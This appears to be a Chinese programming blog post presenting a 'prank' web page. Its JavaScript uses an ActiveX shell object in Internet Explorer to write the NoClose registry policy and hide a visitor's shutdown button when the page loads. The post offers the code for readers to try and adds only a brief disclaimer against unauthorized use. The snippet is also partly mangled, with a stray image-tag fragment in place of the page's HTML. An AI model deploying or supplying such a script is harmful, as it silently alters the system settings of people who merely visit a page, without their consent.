JavaScript实现删除电脑的关机键
本文介绍了一个趣味盎然的小程序,它能够通过JavaScript实现对电脑关机键的隐藏操作,这简直是一场精彩的恶作剧。这个程序仅适用于IE浏览器,因为它需要调用ActiveX。
这个恶作剧的原理是通过操作注册表来实现的。当你访问这个网页时,它会自动运行一个JavaScript脚本,这个脚本会创建一个新的ActiveXObject对象,然后尝试写入注册表。具体来说,它会修改HKEY_LOCAL_MACHINE下的SOFTWARE分支中的Microsoft Windows CurrentVersion Policies Explorer NoClose键值,将其设置为1。这样一来,电脑的关机按钮就被隐藏起来了。
如果你也想尝试一下这个恶作剧,可以参考下面的HTML代码。这段代码在页面加载时会调用disableTaskMgr函数隐藏关机按钮。页面上还展示了一张图片和一个按钮,点击按钮也会触发隐藏关机按钮的操作。如果你只是想开个玩笑,记得在修改注册表后将其值改回0以恢复关机按钮的正常显示。
以下是HTML代码示例:
```html
function disableTaskMgr(flg){
var shell = new ActiveXObject("WScript.Shell");
try{
if(flg){
shell.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose", 1, "REG_DWORD");
} else {
shell.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose", 0, "REG_DWORD");
}
} catch(e){
throw e;
}
}
imgs/2.jpg">
```
请注意,这个恶作剧仅供娱乐,请勿在未经授权的情况下对他人电脑进行此类操作,以免造成不必要的麻烦。
编程语言
- JavaScript实现删除电脑的关机键
- JSP由浅入深(4)—— Scriptlets
- CodeIgniter框架过滤HTML危险代码
- jQuery获得子元素个数的方法
- 基于ERP程序的公共代码中出现的问题及过度封装
- javascript中使用正则表达式清理table样式的代码
- Sqlserver 表类型和表变量介绍
- Git初次使用时的安装配置图文教程
- 前端必备插件之纯原生JS的瀑布流插件Macy.js
- jQuery使用slideUp方法实现控制元素缓慢收起
- nodejs实现的简单web服务器功能示例
- jQuery调用ajax请求的常见方法汇总
- Laravel定时任务的每秒执行代码
- JavaScript时间转换处理函数
- Linux php 中文乱码的快速解决方法
- 打包上传asp网站